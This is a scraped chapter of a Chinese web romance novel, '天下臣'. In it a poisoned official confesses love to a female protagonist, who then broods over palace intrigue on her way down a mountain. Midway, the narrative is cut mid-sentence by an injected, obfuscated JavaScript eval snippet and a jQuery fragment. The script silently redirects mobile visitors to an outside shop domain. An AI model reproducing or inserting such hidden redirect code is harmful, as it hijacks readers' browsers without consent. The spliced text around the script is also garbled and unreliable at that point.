文趣网 > 其他小说 > 天下臣 > 21. 第 21 章
    这话震得蔺长昭心中一跳,呆愣住了。

    许久没动静。

    烧糊涂……?不温兰叶没发烧,所以中毒给他毒成傻子了?蔺长昭耳边声音很杂乱,一直嗡嗡的扰得她神志错乱。

    屋子里只剩下噼里啪啦的烧火声,连呼吸都安静无比。

    温兰叶等不到答复,心中忐忑,眨眼压下涌上来的泪意,虚眼望过去,蔺长昭还是先前的动作,丝毫未动,仿佛没听到他说的话,这下温兰叶也拿不准,是他声音太小了吗?

    不自觉攥紧手中握住的那两根手指,温兰叶好想哭。

    生平第一次喜欢上别人,自己作死作得毫无希望,又脑子犯贱在这种情况下坦白心意,蔺长昭还不喜欢他……

    对比起他的纠结,蔺长昭想得有点复杂。

    她从天南想到地北,再仔细思考了一下这是什么战术或者策略计谋。

    有什么谈判条件是用‘我心悦你’这几个字来谈的吗?

    这不对啊……

    温兰叶不应该先叽叽喳喳说一堆然后用她失忆的哥作为要挟让她加入屠龙大计吗?

    这是什么路数?

    这到底是什么路数?

    蔺长昭迟缓地转动眼眸和温兰叶对视,意外地看见了他蓄在眼眶中的泪水,刚还在努力的大脑一下停摆了,何德何能,有生之年还能看见温兰叶哭?

    温兰叶见她有反应了,又立马拉住她的手补上一句“我心悦你”,再次给了蔺长昭的脑子一记重锤。

    和他沉默地对视了一会儿,蔺长昭终于察觉他是来真的。

    她不可置信地吸了口凉气,将手指从温兰叶手中抽离,在空中抬抬放放手足无措,面上表情几度崩溃。

    抬头看了眼一边的秦墨序,她猛地低头压下上半身,控制住嗓音,低低道:“你不说你讨厌我吗?”

    温兰叶的手抓了个空,他缓了好几下才放下手,压在自己的腹部,他面色痛得惨白没有血色,以至于眼眶边被泪意熏染出来的红格外惹眼。

    看上去脆弱得一碰就碎。

    他恹恹道:“讨厌着讨厌着喜欢了不行么?不是还有一个词叫日久生情么……”

    蔺长昭表情空白了:“?”

    日久生情是这么日久生情的吗?咱俩这不叫相看两厌吗?不是……从前在学宫的时候你不生情,断联五年重逢不到五日你就生情了?

    这到底哪里能对?好荒谬,世界疯了还是温兰叶疯了?

    蔺长昭脑仁有点麻:“你……”

    说了一个字便不知道说什么了,蔺长昭无法应对这种场面,只能将脑袋放空。

    看过去像是出神了,温兰叶扭过脑袋去不看她。

    直到秦墨序的声音幽幽然响起:“你们俩说什么呢能不能大点声,我听不清,能不能管管我啊!两个伤患到底有什么话现在非聊不可?”

    蔺长昭和温兰叶心中同时闪过一个念头:要是让你听到了那还得了?

    “他说你刚才泼的那位是太子。”蔺长昭只想尽快打发他,只有这个消息对秦墨序的冲击力足够强大。

    秦墨序半天没反应过来。

    “哦哦……太子。”

    过了会儿。

    “什么!太子!?”秦墨序垂死病中惊坐起,抱着自己的脑袋又哭又笑,“我的脑袋不怕不怕……”

    蔺长昭没空管他,她还在想温兰叶的用意。

    真的是真心的吗?

    他这种前言不搭后语的逻辑不符合平时挖坑的风格,听起来真的很真,蔺长昭凌乱了。

    向下方确认:“你认真的?”

    回应的声音过了好一阵才响起:“……嗯。”

    蔺长昭想不通,若说是这几日的话肯定不可能,只能是更久远之前:“多久的事?”

    这问题温兰叶还真没想过,回忆一番也找不出蛛丝马迹,忽然有些迷茫:“……不知道。”

    叹了口气,蔺长昭盯着他的一半侧脸看,地上全是承仙散,温兰叶身上和自己身上也全蹭的是,她伸手替温兰叶捋下发丝上沾到的粉末,末又将温兰叶的脸掰过来。

    “我不要好像。”蔺长昭自己对温兰叶的观感复杂极了,这个人简直就是天生来克她的,愈闹愈衰,“……虽然我不喜欢你,但温兰叶,我不要好像,我不信你,等你真正确认了自己的想法自己的心意……再来跟我说这些吧。”

    温兰叶眼睛一眨不眨,似乎愣住了。

    看他的眼睛,里面带着淡淡的哀伤,蔺长昭忽然想起昨晚的梦,梦中那双眼褪去戾气之后也只剩下了一丝压在心底的哀伤。

    她回想起了那段被遗忘的记忆,因为比起后来种种……这些实在算不上什么会铭刻于心的经历。

    先前被剑指着,吓得快要当场尿出来的同窗心里不甘,被平民吓成这样出去会被人指着脊梁骨笑话,嘴硬地骂道:“京城谁不知道你娘就是……”

    这种气急败坏的话不用想就知道肯定难听。

    蔺长昭没给他说出来的机会,上前两步一脚踹在同窗的肚子上,他发出了一声痛极的惊叫,声音难听到很刺耳的程度。

    同窗加入了地上安睡的队列,回到温兰叶身边时,他蹲着在地上看烂得不成样的兰草。

    在他身后静静站着的蔺长昭在脑中翻遍了措辞,和温兰叶一样的,她同样不会安慰别人,在西和边境时没有需要她安慰的人,进京后跟温兰叶对上光顾着琢磨怎么变刻薄了……

    关于温兰叶母亲蔺长昭听说过一些,据说是从前很有名气的才女,世家出身但爱上了一个落魄寒门子弟,不顾身上婚约,一意孤行婚前失贞跟外人私奔?

    其实可以想得出私下里他们说话能有多难听了,世家豪门背景如果真有本事就不会在这个学宫里读书混日子,一群有钱有权臭味相投的家伙罢了。

    或许是这个原因蔺长鹤才看上了温兰叶从而与他交好?

    在原地犹豫了好久,蔺长昭终于上他身边蹲着,去碰他不正常发抖的手臂:“哎……你……”

    哪知温兰叶骤然笑了,打断她:“蔺妹妹,我们要被劝退了。”

    蔺长昭:“……”

    那你这么开心做什么?

    温兰叶的手一直在抖,连带着他整个人都在抖,分不清他到底是受惊严重还是伤成这样,几度想开口又被他疯疯癫癫的笑给憋了回去,蔺长昭看他笑得开心,心里又生闷气,不想安慰他了。

    如他所言,没多久他们俩真就被劝退了,蔺长昭是无所谓的,本来也没拿钱来读书,但温兰叶是正儿八经砸钱来读的……说起这个蔺长昭就很佩服温兰叶,每天穷得帮人抄书都还要来找她对骂。

    为了秋闱,蔺长昭干脆在京城里租了个非常便宜的院子,又凭借着心里那么一点点的怜惜还带上了温兰叶,一起在那院子里住了将近一年,在考完之后温兰叶人间蒸发了,等春闱才得知温兰叶没有参考,再见到时他已经在太子身边了。

    真是……

    这么长的时间日久生情也可能吧?蔺长昭晃神。

    她被自己的想法给惊到,自己的思路完全被温兰叶带偏,已经开始替温兰叶找理由了?她捏着温兰叶的下颌,有点用力,看到他这副嘴脸就想起她哥。

    “我哥让你照顾我是这么照顾的?”蔺长昭还记得温兰叶先前的托词,在得知这二人见不得光的计划之后也怀疑过是真的,但几人心里都清楚,他这不是没照顾好吗?

    温兰叶一时半会儿还没考虑到这儿,那话说出口真的是一时头脑发热完全没顾虑后果。

    “怎样照顾不是照顾呢?”温兰叶如此说,“你难道不觉得这是一桩美事么……亲上加亲,想必蔺兄也会舒心,他应当会支持的。”

    蔺长昭被他的不要脸给噎到了:“?”

    她手一松,把温兰叶的脸丢了回去,坐在原地好半天啧了一声,站起身来:“我要下山。”

    房内二位男子皆看着她。

    秦墨序平静地问:“你记得路?”

    蔺长昭沉思。

    蔺长昭沉默。

    蔺长昭:“我就只走过一次我怎么会记得?”

    “那你怎么下山?”秦墨序翘着腿回头盯着药。

    蔺长昭看傻子一样看他:“往下走不就得了,到山下了不就有路了?”

    秦墨序眼眸一点点睁大了,蔺长昭从对话里品出来点问题,语气诡异:“你别告诉我你是找不到路才被关在这里还不想跑的。”

    秦墨序:“……”

    躺在地上的刺猬倏地笑出声。笑两声又悄悄吸气,痛到了。

    蔺长昭从两人的态度中参悟到了真相,鼓掌道:“好样的,我走了。”

    秦墨序没挽留,也没问把他俩丢在这儿之后他们后面几天该怎么回城,满脑子都是:原来还可以这样?为什么我这么恍然大悟?这不是正常人能想到的吗……难道我不正常?

    哦对,正常人谁跟温兰叶合伙啊?

    啊……刚走的蔺长昭不就是吗,她很正常……吗?

    算了,不想了。

    他看药差不多好了,盛出来一碗端着起身去给刺猬拔刺,将银针收好回去把人扶坐起来,药碗塞入温兰叶手中。

    随后蹲在温兰叶旁边盯着人不说话。

    温兰叶被看得莫名,但还是很乖巧地捧着药碗,刚熬好的药很烫手,他默默抓起衣袖垫了一下,垂眸吹凉手中的汤药,入口之时,秦墨序突然开口:“你真的喜欢小昭啊?”

    不知是被烫到了还是吓到了,温兰叶及时拿开碗,偏头猛咳。

    他捂着心口又急又怒:“你不是听不到吗?”

    “骗你们的。”秦墨序虎口抵着下巴,目光看似没有定点,“屋子里就这么大,你那话都快接近吼出来的了,除非我聋了我才听不见。”

    温兰叶闭上眼:“……啊。”

    他自己真没察觉,那时候光想着让蔺长昭听清了,用了多大声儿自己走马灯一遍都不记得,蔺长昭估计被他吓着了,也是恍恍惚惚的状态。

    被秦墨序这么一说温兰叶后知后觉到尴尬。

    他果然是疯了。

    之前的药并没能完全压制身体对承仙毒性的感知,他浑身上下没有哪一处不是在痛的,难以招架,他瞥了眼秦墨序,警告他不要再说话后仰起头一口气喝完了药。

    “承仙散会使人胡言乱语吗?”温兰叶已经习惯了,喝完面不改色。

    秦墨序收走碗,长长叹气:“不会,但你胡言乱语可能是疼糊涂了。”

    温兰叶休息了会儿,想起来自己衣襟大开,低头看胸口上留下了好多针扎过后的红色小点,一把抓拢衣襟,默了片刻又恼得捂住脸。

    秦墨序是真的有资料要整理,转过来见到这一幕,罕见他这副模样,秦墨序稀奇得连续看了好几眼,手上东西都放错位置没发现:“怎么了这是?”

    “……她是嫌弃我么?”温兰叶闷闷的,情绪不高,“毕竟我……身子这么难看。”

    秦墨序:“……”

    怎么没毒死他?真该在刚才的解药里下毒,一剂毒药下去保准问不出这么令人听了就想打死他的问题。

    他皮笑肉不笑:“你问这个?那确实有可能,你底子不太行,难免婚后容易摩擦出问题。”

    温兰叶:“……”

    他轻轻转头看来,随后又转回去,一脸恍然大悟:“原来如此么。”

    秦墨序不知道他悟什么了。

    深吸一口气,讲了一堆有的没的转移注意力:“你身上的承仙还得喝三剂药,八个时辰一次,然后太子给你种的毒……叫啥来着?君恩?这你找到解法了?想来是找到了,不然不会轻易放我走……等等,顾爷爷?顾?你什么时候认识的我师傅?”

    “嗯……”温兰叶眯起眼,“她带我去的。”

    这个她指的肯定是蔺长昭了。

    秦墨序:“你放了小的绑了老的?好歹毒的心,怪不得蔺长昭不喜欢你。”

    又戳温兰叶痛楚了。

    他失去表情冷冷看着秦墨序。

    “你和蔺长昭很熟?”温兰叶不知道为什么只是离开蔺长昭身边五年,就冒出来一堆有的没的,先前那个徐规是,现在面前这个秦墨序也是,还有那个让蔺长昭有了磨镜之好的顾天羌。

    好恨啊。

    蔺长鹤那狗东西还想给蔺长昭开后宫。

    真想找道士看看他们家祖坟。

    好恨啊。

    温兰叶才不会让蔺长昭左拥右抱男女通吃……但是蔺长昭不喜欢他,算了无所谓,不喜欢就不喜欢吧,他喜欢不就行了。

    眼见他的神色一下阴冷起来,秦墨序又是一怔,温兰叶今天怎么总在变脸,为什么面对这一切的是他啊!

    “也不是特别熟……她是我师妹的好友,四舍五入也算是我的好友?”秦墨序不想管这个了,他自己的感情之事还没着落呢在这里听别人愁怎么情情爱爱吗,他挑眉,“我们明日怎么回城?”

    被问话的人已经从地上起来了,他转头看秦墨序:“赶紧收拾,你还真想明日走?收拾了立马下山还能遇到蔺长昭。”

    秦墨序:“……”

    你到底在急什么?

    离开蔺长昭你是不能活了是吗?

    被心心念念的蔺长昭已经迷路,只一味地往山下走,好在那木屋建得不高,也没有进来时走的那么多弯弯绕绕,下山的速度比上山快多了。

    站在山脚时她望了望四周,这里预估离城门有个……十几里的样子,光凭两条腿走回去有点虐待自己的嫌疑,走到外面官道再搭车也考验运气。

    现在还没有过子时。

    于是蔺长昭果断转头,去寻找温兰叶的马车。

    这一段路刚好能整理一下思绪。

    先是她哥,蔺长鹤。

    目前已知他被皇帝要挟,去太子手下卧底,太子手上有令人失忆和操控人的东西,先前中过一次,被秦墨序解了,就是不知道这次太子有没有对配方做出修改,以及面上的红色纹路不知是什么,应该不是君恩搞出来的。

    蔺长鹤极可能在假失踪之前找温兰叶托孤,也就是温兰叶说她哥让他照顾自己。

    随后被温兰叶得知了他要去做的事,俩人后来结成同盟,温兰叶这么做的目的还未知,是冲皇帝去的还是太子去的也未知。

    皇帝派他俩到太子身边一明一暗,又下令杀太子,皇帝和太子之间必定不合,可太子也知道皇帝安插的人,所以用药控制手下,而温兰叶立场不确定,太子亲自刺杀,面子够大。

    但又解释不通太子为什么这么做,温兰叶就算站在皇帝的立场,他所造成的威胁也不大,太子不应该忌惮至此,竟然亲自上阵。

    而他在皇帝身边也很尴尬,皇帝不信任他,从皇帝另辟蹊径让蔺长昭找名单就能看出来,他手底下两个人,也可能是更多,潜伏在太子身边拿不到名单,反而让一个与太子毫无关联的她去拿。

    偏偏他还认定可以从温兰叶身上拿到。

    到现在蔺长昭都还没看明白皇帝究竟怎么想的。

    到现在太子一案反而是次

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906956|210449||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要了,如果她用温兰叶的方式去结案,那么她相当于自动进入了温兰叶的计划与他结盟,这一下必定会被皇帝和几位权臣当做眼中钉,她只能和温兰叶一起造反。

    不走温兰叶给的路,那么就剩两个分叉,一是用君恩洗白自己,直接把太子的死推到皇室身上。二是抓太子证明真假太子,给自己降级成杀平民。

    实话说都算不上太好,前者得暴露君恩,而君恩一旦公开在大众面前顾爷爷就危险了。后者……杀平民也得下罪。

    如果好一点没牵扯到除她以外的人,蔺长昭其实还是很乐意坑皇室一把的。

    这下可以只单单成为皇室的眼中钉了。

    所以这么一想,直接证明毒和自己无关,自己没有机会下毒这逻辑确实更方便,这样直接解决了她的问题,但太子的死还是谜案,她没上钩估计也不会再给下一个倒霉蛋故技重施的机会了。

    之前不想这点是无法与御医院硬刚,顾爷爷也不能暴露。

    所以秦墨序这一环确实……很重要,小神医的名头是皇帝都听过的,秦墨序之前受邀进宫面圣过,难道这也是温兰叶安排的么。

    想到这里蔺长昭又不爽于温兰叶的心思深沉,之前假模假样的说什么结盟的话,现在一看就是硬要把她打成同党。

    其实温兰叶已经默认了她会加入吧?就算为了蔺长鹤她也得弄死太子。

    温兰叶这一出是想直接把太子的身份打成死亡,那么假死的真太子就没了继承正统的名头,后面再造反可以直接把他判成冒充太子的反贼。

    所以最开始太子为什么会同意这个计谋?假死对他没好处啊。如果怕皇帝的杀令,那直接把怀疑的人杀了不就得了,况且就算假死身边不也还带着卧底么,该传的消息早传到皇帝手里了吧。

    思来想去温兰叶没有不死的理由。

    他活着简直就是个奇迹,这就是祸害遗千年吗。

    蔺长昭刚顺好的线团一下又乱了,这个太子到底想干什么?温兰叶又想干什么?把她坑进去了又想让她干什么?到底是杀太子还是杀皇帝?难不成一起杀?那杀完了皇位谁继承啊!?

    几个分封的亲王回来争皇位要拦吗?拦完了又让谁去继承!?当初旁系都被皇帝杀完了啊。

    寄希望于还是婴儿的皇孙吗?垂帘听政或者摄政王揽权不是更严重?

    搞不懂真的搞不懂。

    感觉前途要完蛋了。

    这么想着,视线里终于看见了那辆熟悉的车,再定睛一看,车外站着个人,看着很像乱糟糟的秦墨序,车窗似乎是开着的,能看见个人头靠在里面。

    蔺长昭石化了。

    原来她绕了这么大一圈过来吗?这两个竟然在她前面先到。

    痛苦。

    从身体上和心理上都痛苦,只要一见到温兰叶她的脑海里就会自动响起:我好像心悦你……

    好想扭头就走,可都走到这儿了,她不尴尬就能勇敢面对,可温兰叶会哭着说心悦她……

    怎会如此。

    他们难道不是单纯的敌对关系吗?

    怎会如此。

    蔺长昭硬着头皮走了过去,近了就看见秦墨序手上拿着木梳,试图将乱糟糟的头发梳顺一丝丝,她看了一眼地上掉的大把头发,生出微弱的同情。

    太惨了。

    跟个野人似的。

    在牢里被关三年也没这么惨。

    秦墨序眼前出现熟悉的衣裳颜色,扒开遮挡在眼前的发丝,背手敲窗:“人到了,我可以上去了么?”

    蔺长昭看见那颗头动了动,里面的人似乎坐直了身体,头一下拔高了,估计是觉得尴尬,他没扭头来看蔺长昭,只是稍微哑着声音说:“嗯,上来吧。”

    一听他这声儿,蔺长昭忍不住问秦墨序:“他被毒哑了?”

    秦墨序嘴里叼着木梳束发,闻言含含糊糊地说:“那是他咳得,喝完药一直在咳。”

    蔺长昭唏嘘。

    秦墨序看她这态度,在心里偷乐,温兰叶肯定没戏,不说一年半载的,这辈子都不太可能,蔺长昭能看上温兰叶他就跟师傅姓。

    他甩了甩头,头发还是很炸,蔺长昭在他前面上了车,一上去就看见温兰叶手里握着糖罐,脸侧鼓起一小点,应该是含着糖。

    整个人都愁眉苦脸的。

    这毒有点本事……蔺长昭在他对面坐下,秦墨序紧随她后,一屁股坐在温兰叶旁边,动作熟练地捞过他的手把脉。

    温兰叶看上去生无可恋,抬起眼帘朝他们睇来一眼,没来得及看其中有什么,又蔫蔫地搭下了。

    确认他没啥大问题,秦墨序将手一抛,头探出车门:“走吧师傅。”

    车轱辘逐渐转动。

    蔺长昭在尽力忘记温兰叶的话,所以她需要一点别的东西来填满脑子:“承仙散发作起来是怎样的?”

    秦墨序本来在扒拉自己的头发听到这话下意识朝旁边一看,又想起这人在意自己在心上人面前的形象,身子难看就算了穿着衣服看不见,但声音难听是真的一听就能听出来。

    所以温兰叶不到万不得已绝对不会开口。

    但秦墨序又没中过承仙散,只听说过,于是能描述个大概:“就想象,你的每一根骨头上都有密密麻麻的虫子在上面啃咬。”

    自己说都觉得身上幻痛了,秦墨序搓搓手臂,着重强调:“嗯……还是全身的,从上到下每一根骨头,可以说中毒的人都是生生被自己疼死的。”

    说完,秦墨序紧紧盯着蔺长昭,没在她身上看出心疼之类的情绪,又肯定了之前的猜想。

    蔺长昭在出神,太子亲自来这一趟两手准备,但每一手都恰到好处没让温兰叶死成,是失手吗?

    真要杀的话又何必只带蔺长鹤过来,手底下那么多人直接用人海战术围殴不更稳妥吗,甚至毒药还这么草率地直接扔人脸上,剂量不够也毒不死,到底干甚呢这是。

    车出去没多久,压上石头颠了下,温兰叶浑身无力,软趴趴地掉下去,蔺长昭回过神来刚好一捞,温兰叶被她带着整个人压在她身上,他调整了姿势曲起一条腿跪上旁边,蔺长昭急匆匆一瞥,掠过温兰叶可以看见对面的秦墨序眼睛都快瞪出眼眶了。

    温兰叶的头压在蔺长昭肩膀上,呼吸扑在颈侧,她刚想动,温兰叶就出声了。

    他知道自己现在声音难听,所以干脆只用气声,低低虚虚的。

    贴在她耳畔说道:“蔺长昭……我痛,你别动我……”

    蔺长昭的手还抓在他腕上,凸起的腕骨抓着硌人,虎口紧贴着手腕内侧,几乎可以感受到皮肤之下血管的涌动。

    轻轻朝下低了头去看他,温兰叶身上没有熟悉的兰香了,取而代之的是闻着就苦唧唧的药气,随后又从他的气息里嗅到若有若无的桂花香。

    衣领没有收拾好,一截细长的脖颈被青丝遮挡住大半,再往下又能看见锁骨……筋骨皮肉似乎都美极了,蔺长昭不知道该怎么形容这一幕。

    先前在顾爷爷的小院里抱住他的时候脑子里还不会想这些。

    自从温兰叶脑子不正常之后连带着传染给了她,现在她的脑子也不正常了,蔺长昭想往外偏头,没料温兰叶连跪都跪不住,整个人的重量都压上来,有一抹温良的触感擦过她的颈侧,那一瞬她意识到了是什么,瞪大双眼。

    蔺长昭下意识抬手扶在温兰叶后背,表情空白地和一脸震惊的秦墨序对视。

    感受不了更多……

    能确认的是——

    她仿佛和温兰叶的心跳共振了。